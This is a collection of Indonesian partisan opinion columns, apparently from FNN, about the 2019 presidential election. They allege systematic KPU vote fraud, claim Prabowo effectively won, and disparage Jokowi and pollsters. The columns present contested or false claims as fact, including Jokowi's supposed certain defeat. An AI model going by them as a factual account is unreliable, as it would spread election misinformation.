terakhir pemuja Jokowi bakal ditunjukkan dalam kampanye di Gelora Bung Karno, Senayan Jakarta, Sabtu 13 April 2018. Mereka bertekad mengumpulkan massa melebihi kampanye Prabowo-Sandi 7 April 2019 lalu yang mencapai lebih dari 1 juta massa. Bus-bus disiapkan, makanan digratiskan. Karyawan BUMN dan swasta – meski libur – diwajibkan hadir, jika tidak akan diberi sanksi. Massa diimpor dari Banten, Bogor, Cianjur, Jateng, Jogja, dan Jatim. Mereka dihadirkan dan difasilitasi menggunakan bus kota. Tidak lupa uang saku sudah disiapkan. Hehe rakyat Jokowi lupa, kesejahteraan bukan diukur dari seringnya diberi makan nasi bungkus atau dilempari recehan di jalanan. Kesejahteraan harus bisa dirasakan semua lapisan masyarakat dengan sistem yang baik. Bukan sekadar bagi-bagi hadiah dan bagi-bagi duit, apalagi musiman. Mereka juga menghadirkan 500-an artis. Hitungan mereka sederhana, setiap artis memiliki ratusan ribu follower yang kelak akan memadati Senayan. Andalan mereka adalah Slank dan berharap seperti 5 tahun lalu. Padahal itu sudah basi, sudah tidak menarik lagi. Selama 5 tahun ini, kita sudah bisa membaca siapa Slank. Slankers yang dulu berbeda dengan Slankers sekarang. Massa Jokowi diperintah untuk memakai baju warna seragam, mereka tak boleh memakai atribut partai. Instruksi ini justru mengundang pertanyaan: ke mana partai-partai koalisi, apakah mereka sudah pasrah atau mereka tidak mau mendukung Jokowi lagi? Entahlah, yang jelas kampanye Jokowi di GBK tidak bermakna apa-apa, berapapun yang hadir. Massa mengambang sudah menentukan pilihan saat Ustad Abdul Somad mendeklarasikan dukungan kepada Prabowo. Sementara massa yang semula pendukung Jokowi sudah mengalihkan dukungan kepada Prabowo saat terbongkarnya kejahatan surat suara sudah dicoblos di Malaysia. Dari hasil penggerebegan ada puluhan ribua surat suara yang dicoblos untuk pasangan 01 dan anggota legislatif dari Nasdem Davin Kirana, putra dari Rusdi Kirana. Ini jahat. Publik juga makin antipati terhadap capres 01 setelah tahu bahwa Rusdi Kirana adalah bekas calo tiket pesawat di Bandara. Berkat kerja kerasnya, pebisnis Tionghoa itu berhasil merapat ke Partai Kebangkitan Bangsa dan menggelayut ke istana. Dengan posisi ini ia berhasil membeli Bandara Halim Perdana Kusuma, bandara legendaris milik TNI AU yang jatuh dengan mulus ke swasta asing – Temasek – sebuah BUMN milik Singapura. Oleh Jokowi, Rusdi didapuk menjadi Dubes RI di Malaysia, jabatan yang biasanya diemban oleh tentara atau polisi. Miris Bro. Mudah-mudahan, Pak Prabowo bisa mengonfirmasi Jokowi dalam debat pamungkas besok malam, tentang model nasionalisme seperti apa yang hendak dikembangbiakkan Jokowi. End.

Mind Games, Permainan Berbahaya KPU

Oleh : Hersubeno Arief Jakarta, FNN - Benarkah Komisi Pemilihan Umum (KPU) sedang menjalankan mind games, permainan pikiran? Mereka coba mempengaruhi, memanipulasi rakyat Indonesia, —terutama pendukung Prabowo— agar meyakini bahwa pilpres sudah selesai. Tidak perlu lagi melakukan perlawanan. Para saksi tidak perlu lagi mencermati hasil penghitungan suara. Quick count yang dilansir lembaga survei sudah benar. Jokowi menang dan Prabowo kalah? Metode permainan psikologi untuk memanipulasi dan mengintimidasi pikiran orang itu cukup sederhana. Melalui Aplikasi Sistem Informasi Penghitungan Suara atau Situng, KPU memasukkan ( entry ) data dari daerah-daerah yang dimenangkan Jokowi. Sebaliknya untuk provinsi yang dimenangkan Prabowo, entry datanya diperlambat. Kalau toh dimasukkan, maka dipilih kota/kabupaten, bahkan kecamatan yang suaranya dimenangkan Jokowi. Abrakadabra…..! Melalui pemetaan dan pemilihan asal suara secara cermat, data yang ditampilkan oleh KPU angkanya bisa persis sama dengan hasil quick count. 54-45 persen. Spekulasi itu belakangan ini banyak bermunculan di media sosial. Jangan terlalu cepat percaya. Please cek ricek terlebih dahulu. Untuk membuktikannya silakan buka web resmi KPU dan masuk ke aplikasi Situng. Dijamin Anda akan kagum dengan hasil karya para komisioner KPU. Aneh tapi nyata! Kok bisa-bisanya mereka melakukan hal itu. Tega banget! Mengangap semua orang Indonesia bodoh dan bisa dibodohi. Praktisi public relations Heri Rakhmadi menulis sebuah opini dengan judul “Quick Count, Real Count KPU dan Angka Cantik 54 Persen.” Secara satire Heri mempertanyakan mengapa data real count KPU bisa sama persis dengan quick count? “Setelah menghiasi layar kaca dan portal berita, kini angka 54 persen juga terus menghiasi layar tabulasi real count milik KPU. Tentunya angka 54 persen ini kembali disematkan kepada Paslon 01, walau sesekali dia dengan centil naik ke angka 55 persen,” tulisnya. Wartawan Republika Harun Husein sudah dua kali membuat tulisan di akun facebooknya. Tulisan pertama berjudul “Real Count Masih Pilih Data.” Harun menyoroti derasnya data KPU dari Jawa Tengah dan Jawa Timur yang diidentifikasi menjadi kantong suara Jokowi. Sebaliknya data dari Jawa Barat dan DKI Jakarta, kantong suara Prabowo masuknya beringsut. “Akibatnya, walaupun data masuk baru sekitar 7,75 persen dari total 813.350 TPS di seluruh Indonesia, hasilnya klop dengan _quick count_ dari lembaga-lembaga survei, seolah sudah distel sedemikian rupa,” tulisnya pada Sabtu (20/4) Pukul 23.49. Harun kembali membuat tulisan kedua dengan judul “Real Count (Masih) Rasa Quick Count.” “Sampai dengan Senin pagi ini, porsi Jateng di Real Count masih tetap yang terbesar, dengan 2,9 juta suara (13,9%), disusul Jatim 2,28 juta suara (10,9%), Jabar 1,9 juta suara (9,3%), DKI Jakarta 1,2 juta (5,7%). Sedangkan daerah-daerah lainnya jauh tertinggal.” Ketika dibuka pada Selasa malam (23/4) pukul 20.20 WIB komposisinya tidak berbeda jauh dengan yang ditulis Harun. Total prosentase suara yang masuk ke Situng KPU 26 persen, tapi di tiap-tiap daerah berbeda-beda prosentase masuknya. Beberapa daerah yang dianggap basis 01, seperti Jawa Tengah dan Bali tinggi inputnya. Jawa Tengah sudah 21 persen, Bali 35 persen. Sementara basis 02 seperti Jawa Barat baru 11,5 persen, Banten 15 persen. Jakarta yang seharusnya bisa lebih cepat, ternyata data yang diinput baru 26 persen. Menariknya lagi-lagi data yang diinput terkesan mencurigakan. Wilayah yang diidentifikasi sebagai basis 01 seperti Jakarta Barat sudah 30,7 persen. Lebih tinggi dari basis 02 Jakarta Selatan 27 persen, dan Jakarta Timur 20 persen. Di Kecamatan Gambir, Jakarta Pusat tempat Jokowi memilih sudah masuk 49 persen, Menteng 50 persen. Namun Tanah Abang basis pendukung 02 baru 9,5 persen. Heri dan Harun tidak salah. Walaupun keduanya menulis dengan nada bercanda, sedikit ngledek, tapi pesannya sama. Mereka mencurigai data yang dirilis Situng KPU kok “secara kebetulan” mirip dengan hasil quick count. “Mbok data RC jangan statis seturut QC lah. Dinamis sikitlah, atau sekali-kali zig-zag seperti MotoGP yang ada adegan kejar-kejaran dan salip menyalip di tikungan, biar penontonnya antusias tepuk tangan mengelu-elukan jagoannya…,” pesan Harun. Sampai kapan KPU bisa menjalankan skenario mind games? Mempengaruhi pikiran publik agar percaya bahwa hasil quick count benar, dan Prabowo kalah? Sulit bertahan Bersamaan dengan semakin tingginya data yang masuk, maka dipastikan komposisinya akan berubah. Apalagi bila data dari Jabar yang menjadi basis 02 masuk. Jangan lupa Jabar memiliki jumlah pemilih terbesar di Indonesia, 17 persen dari DPT. Data Situng KPU akan berubah sangat signifikan dan tak terhindarkan Prabowo menang. Apalagi bila data dari Sumatera dan sebagian Sulawesi yang dimenangkan secara mayoritas oleh Prabowo masuk. Skenario permainan pikiran publik itu berantakan. Sampai disini kita bisa memahami mengapa KPU melakukan “kesalahan” input data yang sangat konsisten. Suara Jokowi bertambah, dan suara Prabowo berkurang. Polanya sangat baku. Suara Jokowi digelembungkan, dan suara Prabowo dikempeskan di ratusan TPS. Itu adalah bagian dari skenario besar kecurangan. Mereka bekerja secara terstruktur, sistematis, dan massif (TSM). Mulai dari perencanaan, sebelum pelaksanaan, pada saat pelaksanaan, dan pasca pelaksanaan Pilpres. Apapun caranya, berapapun harganya, Jokowi harus menang! Bagaimana KPU bisa menjelaskan kasus di TPS 4, Petak Kaja, Gianyar, Bali. Suara Jokowi berubah dari 183 menjadi 1.183, dan suara Prabowo hanya 2. Jumlah seluruh suara sah di TPS itu sebanyak 185, jumlah suara tidak sah 4, sehingga total hanya 189 suara, baik yang sah maupun yang tidak sah. Di TPS 48 Tanah Baru, Depok, Jabar Jokowi 135 suara, Prabowo 114 suara. Suara tidak sah 3 suara, dengan jumlah pemilih 252 orang. Namun berdasarkan data Situng, suara untuk 01 dicatat 235 suara, dan 02 ditulis 114 suara. Ada penggelembungan 100 suara untuk Jokowi. Kalau ada waktu silakan buka media online dan medsos, dijamin Anda bakal kelelahan dan kewalahan karena mendapati “kesalahan” semacam itu. Kasusnya sangat buaanyaaak! Suara Jokowi menggelembung sampai tambun. Suara Prabowo dikempesin sampai kurus kering. Dengan jumlah TPS lebih dari 800.000, kalau mereka menambah rata-rata 10 suara, sudah ada penambahan 8 juta suara, atau sekitar 8 persen dari suara yang sah. Kalau mereka bisa menambah 100 suara seperti di Depok, jumlahnya 80 juta. Tambahan suaranya sudah 50 persen. Kalau 1.000 suara seperti di Bali, jumlahnya mencapai 800 juta suara. Jokowi menang 450 persen! Masuk akal? “Kalau mau curang ya sedikit cerdas lah. Mbok sekali-kali, ada suara Prabowo yang digelembungkan,” canda mantan Komisioner KPU Prof Chusnul Mariyah. End

Terlambat, Malaysia Tak Bisa Lepas dari Perangkap Cina

Oleh Asyari Usman Jakarta, FNN - Mahathir mengakui, “Sudah terlambat.” Malaysia tidak bisa lagi lepas dari perangkap utang China. Ada beberapa faktor penyebab. Pertama, denda pembatalan proyek sangat mahal. Kedua, persentase pengerajaan proyek-proyek tsb sudah lumayan besar. Ketiga, proyek-proyek itu memang diperlukan tetapi tidak semuanya urgen. Salah satu dorongan yang paling kuat bagi Dr M (begitu beliau sering disingkat oleh media massa) untuk merebut kekuasaan dari PM Najib Razak adalah soal RRC yang ‘merajalela’ di Malaysia. Investasi RRC memang sangat besar di negara tetangga kita itu. Setidaknya ada 11 proyek raksasa yang dibiayai dengan utang dari RRC. Pada hari-hari pertama terpilih sebagai PM tahun lalu, Tun Mahathir mengirimkan pesan keras kepada Beijing tentang keinginan dan tekad beliau untuk mengendalikan arah perjalanan Malaysia. Caranya ialah dengan membatalkan proyek-proyek besar China. Mahathir sungguh-sungguh ingin melepaskan Malaysia dari jeratan utang RRC. Dan dia malah sempat mengatakan kepada Presiden Filipina, Rodrigo Duterte, agar menghindarkan jebakan utang RRC. Mahathir juga mengatakan Najib Razak menggadaikan Malaysia kepada China. Malangnya, Malaysia sendiri akhirnya tak bisa lepas dari cengkeraman China. Paling banter Mahathir hanya bisa merundingkan kembali proyek-proyek besar untuk memperkecil biayanya. Salah satu yang bisa dipangkas adalah Jalur Kereta Pantai Timur (East Coast Rail Link, ECRL). Biaya ECRL yang semula ditetapkan 15.7 miliar USD diperkecil menjadi 10.7 miliar USD. Mahathir sangat ingin mengendalikan investasi RRC karena melihat pengalaman banyak negara lain. Negara-negara itu terpaksa menyerahkan proyek-proyek vital kepada RRC karena tak sanggup membayar cicilannya. Sebagai konsekuensinya, pihak RRC harus dibolehkan mengelola pelabuhan, bandara, jalan tol atau jaringan kereta api sebagai ganti pembayaran cicilan utang. Inilah yang terjadi di Djibouti, Angola, Sri Lanka, Pakistan, Montenegro (di Eropa timur), dan sejumlah negara lain. RRC-lah yang mengatur syarat dan ketentuan pengelolaan fasillitas-fasiitas penting itu. Mereka bisa saja membawa warga China ke negara-negara itu sebagai staf atau pekerja biasa. Perlu diketahui bahwa pembangunan pelabuhan, jalan tol, dan rel kereta api pasti akan selalu ditawarkan RRC. Bahkan mereka bantu dengan pinjaman lunak (soft loan). Mengapa? Karena jaringan transportasi (dara, laut, dan udara) sangat vital bagi ambisi proyek global China yang disebut Belt and Road Initiative (BRI). Tujuan utama BRI adalah untuk menyebarluaskan ‘business parks’ (pusat perindustrian) RRC ke seluruh penjuru dunia. Negara-negara yang ‘takluk’ ke dalam desain besar hegemoni ekonomi ini hampir pasti akan terjerat utang yang berkepanjangan. Jerat utang itulah yang digunakan RRC untuk mengendalikan negara-negara ‘jajahan BRI’. Tidak saja kendali ekonomi, tapi pasti juga kendali politik. Semoga Indonesia masih bisa diselamatkan oleh Presiden Prabowo Subianto. *Penulis: Asyari Usman (wartawan senior)

Lima Alasan Mengapa Jokowi Sudah Pasti Kalah

Oleh : Hersubeno Arief Jakarta, FNN - Hingga hari ini kubu Jokowi dan komisioner Komisi Pemilihan Umum (KPU) masih mencoba meyakinkan rakyat, Jokowi menang. Upaya ini seperti menegakkan benang basah. Publik sudah paham, menyaksikan sendiri, dan yang paling penting sangat meyakini Prabowo menang. Secara de facto Indonesia sudah mempunyai presiden baru. Tinggal menunggu secara de jure. Apa saja alasannya sehingga publikasi massif quick count manipulasi dan intimidasi pikiran ( mind games ) publik melalui aplikasi Situng KPU, tak ada gunanya. Pertama, kalau sudah menang mengapa harus curang? Alasan ini tidak bisa dibantah dengan dalih apapun. Kecurangan rekapitulasi dengan modus menggelembungkan suara Jokowi dan mengempiskan suara Prabowo ini terjadi sangat massif. Levelnya sudah tidak masuk akal. Dalam satu TPS suara pemilih maksimal hanya 300 orang. Namun kita menyaksikan ada satu TPS di Bali jumlah pemilih Jokowi lebih dari 1.000 orang. Banyak juga rekap data pemilih menunjukkan Jokowi menang melebih jumlah total suara pemilih, baik yang sah maupun tidak sah. Meminjam istilah Rocky Gerung, hanya orang dungu yang percaya dengan kecurangan yang dungu semacam itu. Kecurangan semacam ini tidak perlu terjadi, jika Jokowi benar menang. Hanya akan mencoreng kemenangan Jokowi, dan memberi peluang Prabowo menggugat. Hanya ada satu alasan mengapa mereka melakukan kecurangan. Jokowi kalah. Jadi agar bisa menang dengan perolehan suara 54 persen seperti dikatakan sejumlah lembaga survei, agar bisa sesuai dengan Situng KPU, kecurangan lah jawabannya. Kedua, dari sisi teritorial banyak provinsi yang semula dikuasai Jokowi, pada pilpres kali ini jatuh ke tangan Prabowo. Pada Pilpres 2014 Jokowi menang di 24 provinsi. Sementara pada Pilpres 2019 dia hanya berhasil menang maksimal di 16 provinsi. Pada Pilpres 2014 Jokowi menang di Sumut, Jambi, Bengkulu, Lampung, Bangka Belitung, Kepulauan Riau, DKI Jakarta, Jateng, Yogyakarta, Jatim, Bali, NTT, Kalbar, Kalteng, Kaltim, Sulut, Sulteng, Sulsel, Sultra, Sulbar, Maluku, Papua, Papua Barat plus Luar negeri. Pada Pilpres 2019 Prabowo berhasil merebut Sumut, Jambi, Bengkulu, Lampung, Kepulauan Riau, DKI Jakarta, Kalbar, Sulsel, Sultra, dan Maluku. Jokowi bisa tetap menang dengan syarat memperoleh suara di atas 70 persen untuk Jateng dan Jatim. Untuk Jateng itu bisa dilakukan. Mereka bisa kontrol sepenuhnya. Di Kabupaten Boyolali misalnya, saksi Paslon 02 diintimidasi. Prabowo tidak mendapat suara sama sekali di banyak TPS. Tapi untuk Jatim hal itu tidak mungkin dilakukan. Apalagi di Madura. Ketiga perolehan Jokowi pada Pilpres 2014 hanya 53.15 persen. Angka itu diperoleh saat Jokowi sangat populer dan banyak orang yang menggadang-gadangnya akan menjadi Ratu Adil. Sebaliknya Prabowo saat itu tidakpopuler. Citranya buruk karena dirusak dengan berbagai kampanye hitam. Kini posisinya terbalik. Jokowi ditolak dimana-mana, kampanyenya selalu sepi dan terpaksa melakukan mobilisasi besar-besaran. Mereka hanya mau datang bila dibayar. Sebaliknya Prabowo menjadi figur yang diharapkan dapat mengubah Indonesia. Kampanyenya meledak dimana-mana. Banyak yang Ikhlas menyumbangkan uangnya untuk kampanye Prabowo. Dibandingkan dengan Jokowi pada Pilpres 2014, antusiasme warga mendukung Prabowo pada pilpres kali ini jauh lebih gempita. Bagaimana mungkin perolehan suara Jokowi bisa lebih tinggi dibandingkan dengan Pilpres 2014. Sangat bertentangan dengan akal sehat dan nalar publik. Sebagai produk, Jokowi adalah produk gagal, “barang reject.” Jadi tidak mungkin perolehan angkanya melebihi Pilpres 2014. Pasti ada yang salah. Ini penghinaan terhadap akal sehat. Sebagai bukti Jokowi adalah “barang reject,” dia kalah telak di 8 dari 9 TPS di Kompleks Pasukan Pengamanan Presiden (Paspampres) Jakarta Timur. Ini adalah bukti telak yang tidak bisa dibantah. Keluarga pasukan paling dekat dan paling dipercaya Jokowi saja, emoh dengannya. Keempat bila sudah menang mengapa Jokowi sangat ingin bertemu dengan Prabowo. Mengapa Luhut menggunakan berbagai cara untuk bisa bertemu Prabowo? Seharusnya Jokowi bersabar, menikmati kemenangan. Tunggu sampai tanggal 22 Mei setelah KPU menyelesaikan rekapitulasi manual. Setelah itu sebagai pemenang dia tinggal mengundang Prabowo. Tidak perlu memohon-mohon, memuji-muji Prabowo seperti yang dilakukan oleh Luhut. Kelima sampai saat ini belum ada satupun kepala negara/kepala pemerintahan mengucapkan selamat atas kemenangan Jokowi. Hal ini sangat berbeda dengan Pilpres 2014, saat itu sejumlah kepala negara langsung menghubungi Jokowi dan memberi ucapan selamat. Soal ucapan selamat kepada Jokowi ini sempat muncul upaya disinformasi melalui media. Salah satunya dilakukan oleh laman detik.com. Pada hari Kamis (18 /4) pukul 16:47 WIB detik.com memuat berita dengan judul : Sudah 21 Kepala Negara Ucap Selamat ke Jokowi, Erdogan Juga akan Telepon. Dalam berita itu dikutip seakan Jokowi sudah mendapat ucapan selamat atas kemenangannya. Wartawan detik.com bahkan melaporkan mereka menyaksikan dan mendengar sendiri ketika Jokowi menerima telefon dari PM Singapura Lee Hsien Loong. “Dari obrolan tersebut, terdengar pembahasan hasil hitung cepat lembaga survei. ”Yes, ninety nine percent yes PM Lee,” kata Jokowi soal akurasi hitung cepat lembaga survei,” tulis detik.com. Lucunya detik.com juga menautkan video ketika Jokowi menerima telefon dari Lee. Sepanjang percakapan Jokowi hanya menyampaikan kata-kata yang pendek. Thank you PM Lee. Thank you PM Lee. Disambung dengan kata-kata “ ya..ya.” Satu-satunya kalimat yang cukup panjang diucapkan Jokowi —setelah tampak berpikir sejenak— “I will decide tomorrow”. Silakan cek tautan detik.com berikut: https://news.detik.com/berita/d-4516379/sudah-21-kepala-negara-ucap-selamat-ke-jokowi-erdogan-juga-akan-telepon Usut punya usut, telefon dari para kepala negara sahabat itu berupa ucapan selamat kepada bangsa Indonesia karena berhasil melaksanakan pemilu dengan sukses dan damai. Bukan ucapan selamat atas kemenangan Jokowi. Hal itu adalah basa-basi tata krama biasa dalam pergaulan internasional. Sejumlah negara adidaya seperti Cina, Rusia, dan AS juga belum mengeluarkan pernyataan resmi apapun soal hasil Pilpres Indonesia. Juru bicara Kementerian Luar Negeri AS Morgan Ortagus melalui akun@Statedeptspox juga hanya menyampaikan ucapan selamat kepada bangsa Indonesia. Bukan Jokowi: Congratulations, #Indonesia on completing national and legislative elections. The spirited campaigns and robust participation by Indonesia’s public, civil society, and media underscore the strength and the dynamism of Indonesia #Democracy. Morgan Ortagus ✔@statedeptspox Congratulations, #Indonesia, on completing national and legislative elections. The spirited campaigns and robust participation by Indonesia’s public, civil society, and media underscore the strength and dynamism of Indonesia’s #democracy. Akun resmi Presiden @Jokowi mencuit: PM Singapura Lee Hsien Loong, PM Malaysia Mahathir Mohamad, dan Presiden Turki Recep Tayyib Erdogan dan sejumlah kepala negara, kepala pemerintahan negara sahabat telah menelpon saya. Mereka menyampaikan selamat kepada rakyat Indonesia atas Pemilu 2019 yang lancar dan damai.” Clear akun resmi Jokowi juga tidak sama sekali menyinggung ucapan selamat karena sudah terpilih kembali. Berita yang muncul di detik.com itu diduga semacam berita advetorial (iklan) dari TKN Jokowi-Ma’ruf. Di kalangan media dikenal dengan istilah native ads, alias konten berbayar Anggaran untuk operasi media dan penyebaran disinformasi semacam itu sangat besar. Jadi tidak perlu kaget bila di media online nasional banyak berita yang aneh-aneh. Sekali lagi kalau memang sudah menang, ngapain sampai segitunya? Hanya orang yang sudah kalah, orang panik, yang mau melakukan hal-hal aneh dan tidak masuk akal semacam itu. end

Jokowi, Tak Seindah Warna Aslinya?

Oleh : Hersubeno Arief Jakarta, FNN - Sepanjang debat pilpres, sejumlah media berhasil menunjukkan data. Banyak klaim Presiden Jokowi tidak terbukti. Jokowi juga diketahui sering melebih-lebihkan fakta. Sikap Jokowi mengingatkan kita pada iklan jadul Fuji Film,” Lebih indah dari warna aslinya.” Publik kini kembali menunggu apakah klaim Jokowi benar. Sejumlah kepala negara/pemerintahan telah memberi ucapan selamat kepadanya. Bukan hanya karena pemilu berlangsung sukses, namun juga karena dia terpilih kembali sebagai presiden. Klaim ini jika tidak terbukti bisa menimbulkan implikasi terganggunya hubungan Indonesia dengan negara-negara sahabat. Jokowi juga bisa dituntut karena telah melakukan kebohongan publik. Sebuah potongan video wawancara Presiden Jokowi dengan presenter Najwa Shihab tengah beredar di media sosial. Wawancara itu secara utuh sudah ditayangkan di Trans-7 Rabu malam (24/4). “Wong kita ini diapresiasi oleh negara-negara lain pemilunya aman, damai lancar, jujur, adil. Yang telefon ke kita itu ada berapa, sudah berapa 20….22 negara,” ujar Jokowi. “Apakah juga memberi selamat kepada Bapak?,” tanya Najwa. “Ya memberi apresiasi dan memberi selamat ha..ha……..” “Sebagai presiden atau sebagai calon presiden pak ucapan selamatnya waktu itu?,” kejar Najwa lagi. “Ya dua-duanya.” “Selamat menang begitu Pak?” “Iya betul.” Najwa memperhatikan sejenak… dan kemudian Jokowi menambahkan “mesti ditambahi versi quick count.” “Jadi diakui versi quick count diakui negara lain memberikan selamat?,” tanya Najwa menegaskan. “PM Mahathir langsung telfon saat itu, PM Singapura, kemudian Presiden Turki Erdogan,” tambah Jokowi. Pernyataan Jokowi sangat berbeda dengan versi akun twitter resminya @Jokowi. “PM Singapura Lee Hsien Loong, PM Malaysia Mahathir Mohamad, dan Presiden Turki Recep Tayyib Erdogan dan sejumlah kepala negara, kepala pemerintahan negara sahabat telah menelpon saya. Mereka menyampaikan selamat kepada rakyat Indonesia atas Pemilu 2019 yang lancar dan damai,” cuitnya pada Kamis (18/2). Jokowi sama sekali tidak menyinggung adanya ucapan selamat atas kemenangannya versi quick count. Perihal klaim ucapan selamat ini juga sempat muncul di laman berita detik.com Kamis (18/4). Judulnya : “Sudah 21 Kepala Negara Ucap Selamat ke Jokowi, Erdogan Juga akan Telepon.” Namun klaim itu bukan berasal dari statemen Jokowi. “Dari obrolan tersebut, terdengar pembahasan hasil hitung cepat lembaga survei. ”Yes, ninety nine percent yes PM Lee,” kata Jokowi soal akurasi hitung cepat lembaga survei,” tulis detik.com. Yang bisa menjadi rujukan kita adalah video pembicaraan Jokowi dengan Lee yang ditautkan dalam berita itu. Tak ada kata-kata yes, ninety nine percent yes PM Lee. Video itu hanya berdurasi 20 detik. Istana harus bisa menunjukkan ada video dengan durasi lebih panjang, dan lengkap, memang benar ada percakapan itu. Bisa jadi videonya dipotong redaksi detik.com. Bila tidak ada, publik bisa menafsirkan Jokowi melakukan kebohongan publik. Kembali ke kelakuan lama, melakukan klaim kosong. Akun medsos PM Lee juga sama sekali tidak menyinggung ucapan selamat kepada Jokowi. Padahal sebagai negara tetangga terdekat, siapa yang terpilih menjadi seorang presiden di Indonesia sangat penting bagi Singapura. Akun Instagram Lee bahkan tidak menyinggung percakapan dengan Jokowi. @leehsienloong pada hari Kamis (18/4) hanya mencuit dua peristiwa. @leehsienloong Apr 18 Retired Maestro Choo Hoey, founding @SingaporeSymph conductor, has come out of retirement for a 1-time concert tonight to celebrate the SSO’s 40th anniversary season. – LHL @leehsienloongApr 18 Wishing all Christians a blessed Good Friday & Easter weekend. – LHL Sekedar sebagai perbandingan, pada saat Prabowo hadir di Singapura dan bertemu PM Lee (26/11/2018), fotonya ditampilkan di akun Instagram Lee. Padahal saat itu bukan kunjungan resmi. Status Prabowo juga “hanya” seorang capres. ”I wished him all the best and an enjoyable stay in Singapore,” tulisnya. Akun twitter PM Mahathir @chedetofficial juga tidak menyinggung pembicaraan dengan Jokowi. Apalagi ucapan selamat atas kemenangannya sebagi Presiden Indonesia untuk periode kedua. Pada tanggal 18 April @chedetofficial meretwitt akun kantor berita Bernama @PM Dr Mahathir menyaksikan pertukaran dokumen perjanjian antara Proton dan Al Haj Automotive dari Pakistan serta China Construction Bank di Beijing, hari ini. Akun resmi Presiden Turki Recep Tayyib Erdogan @trpresidency juga tidak mencuit sama sekali percakapannya dengan Jokowi. Dilihat dari lini masanya, akun Erdogan sangat aktif. Setiap hari dia bisa membuat 3-4 cuitan tentang aktivitasnya. Pada tanggal 18 April ada tiga cuitan Erdogan, namun tak ada satupun yang menyinggung percakapan dengan Jokowi. Apalagi ucapan selamat. Satu-satunya akun yang mencuit tentang pemilu dan pilpres di Indonesia berasal dari Juru Bicara Kementerian Luar Negeri AS Morgan Ortagus. Melalui akun@Statedeptspox Congratulations, #Indonesia on completing national and legislative elections. The spirited campaigns and robust participation by Indonesia’s public, civil society, and media underscore the strength and the dynamism of Indonesia #Democracy. Morgan mengucapkan selamat kepada bangsa Indonesia karena berhasil menyelenggarakan pemilu legislatif dan pilpres. Bukan ucapan selamat kepada Jokowi karena terpilih kembali sebagai Presiden RI versi quick count. Sangat mengganggu Dalam tata krama hubungan internasional, klaim seperti yang dilakukan Jokowi —bila tidak benar—dampaknya bisa sangat serius. Negara-negara asing, apalagi negara tetangga, cenderung wait and see, tidak segera menunjukkan sikap. Apalagi dengan munculnya kesimpang-siuran informasi dan banyaknya klaim kecurangan. Ucapan selamat merupakan pengakuan, sekaligus menjadi legitimasi kepada pemerintahan yang baru. Bila ternyata hasilnya berbeda, Jokowi ternyata kalah, bisa menimbulkan kekikukkan dan ketidaknyamanan dengan pemerintahan Prabowo. Bagi Jokowi klaim ucapan selamat ini sangat penting untuk memperkuat basis legitimasi kemenangannya. Puluhan negara asing, terutama negara tetangga dekat sudah mengakui kemenangannya. Soal klaim mengklaim ini pemerintah pernah punya pengalaman tidak enak. Pada awal Maret Menkumham Jasona Laoly mengaku berhasil membebaskan Siti Aisyah setelah melobi Mahathir dan Jaksa Agung Malaysia Tomy Thomas. Sii Aisyah adalah tenaga kerja asal Indonesia terancam hukuman mati karena dituduh terlibat pembunuhan Kim Jong Nam, kakak tiri penguasa Korea Utara Kim Jong Un. Klaim itu dibantah oleh Mahathir. Menurutnya tidak ada lobi-lobi politik. Semua proses berjalan sesuai prosedur hukum yang berlaku. “Saya tidak mendapat maklumat,” katanya kepada media. Biar tidak salah tuduh, sebaiknya kita perlu bersabar menunggu jawaban resmi dari Jokowi atau istana. Atau….masih adakah media yang bersedia melakukan cek fakta dan data? End

Survei Tuna Susila

Oleh Sri Widodo Soetardjowijono Jakarta, FNN - Jancuk. Inilah kata spontan yang dilontarkan Bahruddin, salah satu anggota Front Pembela Islam (FPI) Bogor, sesaat setelah mengetahui ada anggotanya yang mendukung capres 01 Jokowi – Ma’ruf Amin. Namun, sikapnya berubah ketika tahu bahwa informasi itu dibuat oleh LSI Denny J.A. yang selama ini terlihat pro capres 01 dalam Pilpres 2019. Ia tak percaya FPI mendukung capres 01 seperti yang diklaim LSI. Bantahan bahwa ada FPI yang mendukung paslon 01 juga disampaikan Juru Bicara FPI, Munarman, yang menegaskan bahwa survei tersebut tidak sesuai dengan kenyataan. Ia menyebut LSI Denny J.A. berbohong dan mengkhayal sehingga melanggar prinsip ilmu statistik. Puluhan lembaga survei di musim Pilpres ini memang tampil aneh. Rilis-rilis hasil survei selalu mengundang decak kagum masyarakat lantaran ngawurnya tidak kira-kira. Fakta di lapangan, kampanye paslon 02 Prabowo-Sandi selalu dihadiri puluhan ribu bahkan ratusan ribu masyarakat, sementara kampanye Jokowi-Ma’ruf hanya dihadiri ratusan orang. Bahkan. gatra.com pada Sabtu (30/3) melaporkan deklarasi Relawan Bela Jokowi (Bejo) Provinsi Jambi yang hanya dihadiri oleh 14 orang. Sungguh ironis dengan deklarasi dan kampanye Prabowo yang selalu membludak, tiba-tiba puluhan lembaga survei mengeluarkan statistik Jokowi lebih unggul daripada Prabowo. Kita tidak tahu siapa yang mereka survei. Akan tetapi, kita yakin mereka tidak menyurvei tenaga sukarelawan dan guru-guru honorer yang sudah puluhan tahun mengabdi, buruh-buruh pabrik yang tertindas kebijakan perusahaan, serta ojek online yang tak punya kekuatan hukum dan dihantui masa depan suram. Kita tidak tahu kelompok profesi mana yang mereka survei, tetapi kita yakin mereka tidak melakukan survei terhadap petani yang tak mampu beli pupuk, sawah kekeringan, dan gagal panen. Mereka juga tidak menyurvei nelayan yang hasil tangkapannya tidak memadai karena mahalnya harga BBM. Mereka pasti juga tidak melakukan survei terhadap pelaku UMKM yang sulit berkembang, sulit mendapatkan pinjaman bank, dan sulit memasarkan produk mereka. Entah siapa yang disurvei, tapi kita yakin mereka ogah melakukan survei terhadap para pengangguran, korban gusuran, korban PHK, dan korban-korban kebijakan pemerintah yang tidak pro-rakyat. Survei itu dibuat sedemikain rupa agar petahana bertengger di angka 57 persen. Ini angka imajinasi. Imajinasi itu diupayakan agar tampak logis. Oleh karena itu, di luar survei pasukan dikerahkan untuk mendekati angka itu. Seluruh kekuatan dan kekuasaan disinergikan. Caranya? Seluruh aparat negara dikerahkan. Polres mendoktrin Polsek, Polsek mendoktrin Babinkamtibmas agar masyarakat mendukung capres petahana. Polisi yang bertugas di desa-desa wajib mendatangi tokoh masyarakat, preman, komunitas penghobi, ahli mancing, penggemar burung, bikers, dan kelompok masyarakat lainnya. Mereka meminta agar kelak memilih capres petahana. Tidak jarang mereka menakut-nakuti. Strategi politik genderuwo dijalankan secara masif, terencana, dan terstruktur. Demikian juga aparat negara lainnya, Bupati menekan Camat, Camat menekan Kepala Desa, Kepala Desa memerintahkan Kepala Dusun dan Ketua RW agar memenangkan pasangan capres 